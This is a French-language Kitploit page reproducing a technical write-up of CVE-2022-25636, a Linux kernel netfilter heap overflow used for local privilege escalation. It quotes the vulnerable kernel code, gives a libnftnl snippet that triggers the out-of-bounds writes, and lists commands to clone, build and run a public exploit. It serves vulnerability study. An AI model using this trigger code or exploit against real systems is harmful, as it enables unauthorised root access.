Skip to content
KitploitKITPLOIT
OutilsBlog
Log in
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2022-25636 — Analyse technique détaillée et write-up d'exploit pour CVE-2022-25636, une vulnérabilité de débordement de tas (heap overflow) dans netfilter du noyau Linux permettant une élévation de privilèges locale via le heap spraying et une utilisation après libération (UAF). | Kitploit
Outils/GitHubGitHub/chenaotian/cve-2022-25636
Escalade de PrivilègesAnalyse des VulnérabilitésExploitationApprentissage et ÉducationExploitation de Binaires
GitHubchenaotian/cve-2022-25636

CVE-2022-25636

Analyse technique détaillée et write-up d'exploit pour CVE-2022-25636, une vulnérabilité de débordement de tas (heap overflow) dans netfilter du noyau Linux permettant une élévation de privilèges locale via le heap spraying et une utilisation après libération (UAF).

Voir le dépôt
324il y a 4 ansPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2022-25636 netfilter : élévation de privilèges dans le noyau

[toc]

Introduction à la vulnérabilité

Identifiant de la vulnérabilité : CVE-2022-25636

Produit vulnérable : linux kernel - netfilter

Versions affectées : linux kernel 5.4 ~

Impact : le module noyau netfilter présente une écriture hors limites dans le tas, permettant une élévation de privilèges avec SYS_ADMIN.

Mise en place de l'environnement

La vulnérabilité se trouve dans le module noyau netfilter, le code concerné se situe dans 3 fichiers .ko.

nft_dup_netdev.ko  
nf_dup_netdev.ko 
nf_tables.ko 

Démarrer directement avec qemu pose problème, les modules .ko ne se chargent pas ; utiliser VMware en débogage sur deux machines.

Ubuntu 21.10 permet de remplacer manuellement le noyau :

apt-get install linux-image-5.13.0-30-generic

Retirez ensuite le noyau d'origine et compilez l'exploit :

git clone https://github.com/Bonfee/CVE-2022-25636.git
apt-get install libmnl-dev
apt-get install libfuse-dev
apt-get install libnftnl-dev
make
./exploit

Effet de l'élévation de privilèges (taux de réussite inférieur à 50 %) :

image-20220318151010142

Principe de la vulnérabilité

Point de déclenchement de la vulnérabilité

La fonction concernée est nft_fwd_dup_netdev_offload :

linux\net\netfilter\nf_dup_netdev.c : 67 : nft_fwd_dup_netdev_offload

int nft_fwd_dup_netdev_offload(struct nft_offload_ctx *ctx,
			       struct nft_flow_rule *flow,
			       enum flow_action_id id, int oif)
{
	struct flow_action_entry *entry;
	struct net_device *dev;

	/* nft_flow_rule_destroy() releases the reference on this device. */
	dev = dev_get_by_index(ctx->net, oif);
	if (!dev)
		return -EOPNOTSUPP;

	entry = &flow->rule->action.entries[ctx->num_actions++];//越界
	entry->id = id;
	entry->dev = dev;

	return 0;
}
EXPORT_SYMBOL_GPL(nft_fwd_dup_netdev_offload);

Lors de l'écriture dans flow->rule->action.entries (cette structure est de longueur variable), aucune vérification des limites du tas n'est effectuée, ce qui conduit à une écriture hors limites d'un entier (4 ou 5) et d'un pointeur.

Pile d'appels

La fonction est utilisée dans nft_flow_rule_create :

linux\net\netfilter\nf_tables_offload.c : 90 : nft_flow_rule_create

struct nft_flow_rule *nft_flow_rule_create(struct net *net,
					   const struct nft_rule *rule)
{
	struct nft_offload_ctx *ctx;
	struct nft_flow_rule *flow;
	int num_actions = 0, err;
	struct nft_expr *expr;

	expr = nft_expr_first(rule);
	while (nft_expr_more(rule, expr)) {//根据传入reule 的数量计算num_actions
		if (expr->ops->offload_flags & NFT_OFFLOAD_F_ACTION)
			num_actions++;// 只有带有NFT_OFFLOAD_F_ACTION 标记才计数

		expr = nft_expr_next(expr);
	}

	if (num_actions == 0)
		return ERR_PTR(-EOPNOTSUPP);

	flow = nft_flow_rule_alloc(num_actions);//根据num_actions 数量申请空间(变长结构体)
	if (!flow)
		return ERR_PTR(-ENOMEM);

	expr = nft_expr_first(rule);
	//ctx->num_actions 初始化为0 ↓
	ctx = kzalloc(sizeof(struct nft_offload_ctx), GFP_KERNEL);
	if (!ctx) {
		err = -ENOMEM;
		goto err_out;
	}
	ctx->net = net;
	ctx->dep.type = NFT_OFFLOAD_DEP_UNSPEC;

	while (nft_expr_more(rule, expr)) {
		if (!expr->ops->offload) {//根据rule数量调用offload
			err = -EOPNOTSUPP;
			goto err_out;
		}
		err = expr->ops->offload(ctx, flow, expr);//调用漏洞函数
		if (err < 0)
			goto err_out;

		expr = nft_expr_next(expr);
	}
	··· ···
    ··· ···
}

On voit que la fonction nft_flow_rule_create alloue la structure flow en fonction du nombre de structures règle transmises depuis l'espace utilisateur, puis les traite. La variable num_actions est utilisée pour compter, mais pendant le comptage, seules les règles portant le flag NFT_OFFLOAD_F_ACTION sont comptées, et la taille de la structure allouée est basée sur ce nombre. Ensuite, lors du traitement via offload, la boucle n'utilise pas num_actions. Elle boucle comme auparavant sur le nombre de règles, mais sans vérifier à nouveau le flag NFT_OFFLOAD_F_ACTION. Autrement dit, lorsque les règles transmises contiennent des règles sans le flag NFT_OFFLOAD_F_ACTION, le nombre d'appels à offload est supérieur au nombre d'entrées flow->rule->action.entries précédemment allouées. Dans offload, la fonction vulnérable nft_fwd_dup_netdev_offload est appelée, ctx->num_actions étant initialisé à 0 est incrémenté à chaque appel, et à la fin ctx->num_actions dépasse la plage du tableau flow->rule->action.entries, provoquant un débordement.

Quelques structures :

struct nft_flow_rule {
	__be16			proto;
	struct nft_flow_match	match;
	struct flow_rule	*rule;
};

struct flow_rule {
	struct flow_match	match;
	struct flow_action	action;
};

struct flow_action {
	unsigned int			num_entries;
	struct flow_action_entry	entries[];
};

struct flow_action_entry {
	enum flow_action_id		id;
	enum flow_action_hw_stats	hw_stats;
	action_destr			destructor;
	void				*destructor_priv;
	union {
		u32			chain_index;	/* FLOW_ACTION_GOTO */
		struct net_device	*dev;		/* FLOW_ACTION_REDIRECT */
		··· ···
	};
	struct flow_action_cookie *cookie; /* user defined action cookie */
};

struct nft_offload_ctx {
	struct {
		enum nft_offload_dep_type	type;
		__be16				l3num;
		u8				protonum;
	} dep;
	unsigned int				num_actions;
	struct net				*net;
	struct nft_offload_reg			regs[NFT_REG32_15 + 1];
};

Pile d'appels :

  • nft_flow_rule_create
    • nft_dup_netdev_offload/nft_fwd_netdev_offload
      • nft_fwd_dup_netdev_offload

Utilisation et déclenchement de netfilter

Référence : https://www.openwall.com/lists/oss-security/2022/02/21/2

Ce courriel explique comment utiliser netfilter avec les bibliothèques C libmnl et libnftnl. Le point clé pour déclencher la vulnérabilité est de savoir si les règles ajoutées portent le flag NFT_OFFLOAD_F_ACTION. Seules les règles créées par nftnl_expr_alloc("immediate"); portent le flag NFT_OFFLOAD_F_ACTION :

for(int i = 0; i < legit_writes; i++) {//如下添加expr 不会越界
    exprs[exprid] = nftnl_expr_alloc("immediate");
    nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_IMM_DREG, NFT_REG_1);
    nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_IMM_DATA, 1);
    nftnl_rule_add_expr(rule, exprs[exprid]);
    exprid++;
    exprs[exprid] = nftnl_expr_alloc("dup");
    nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_DUP_SREG_DEV, NFT_REG_1);
    nftnl_rule_add_expr(rule, exprs[exprid]);
    exprid++;
}
//如下添加expr 会越界
for (int unaccounted_dup = 0; unaccounted_dup < oob_writes; unaccounted_dup++) {
    exprs[exprid] = nftnl_expr_alloc("dup");
    nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_DUP_SREG_DEV, NFT_REG_1);
    nftnl_rule_add_expr(rule, exprs[exprid]);
    exprid++;
}

Exploitation de la vulnérabilité

L'exploitation n'est pas très stable, mais la technique utilisée est très ingénieuse. La vulnérabilité permet d'écrire un pointeur non contrôlé à un décalage fixe hors limites ; personnellement, je considère que l'exploitation est très difficile. Analysons brièvement la méthode. D'après le code de la vulnérabilité, on sait que chaque écriture hors limites ne peut écrire qu'un entier (id, fixé à 4 ou 5) et un pointeur (*dev), ce pointeur pointant vers la structure struct net_device. Ici, nous nous concentrons uniquement sur l'écriture du pointeur dev :

int nft_fwd_dup_netdev_offload(struct nft_offload_ctx *ctx,
			       struct nft_flow_rule *flow,
			       enum flow_action_id id, int oif)
{
	··· ···
	entry = &flow->rule->action.entries[ctx->num_actions++];//越界
	entry->id = id;
	entry->dev = dev; //固定偏移写一个堆地址,dev 为struct net_device 结构体
	··· ···
}

Concernant la structure struct flow_rule, comme il s'agit d'une structure de longueur variable, la plage de tailles pouvant être allouées détermine la réussite de l'exploitation.

Télécharger l’outil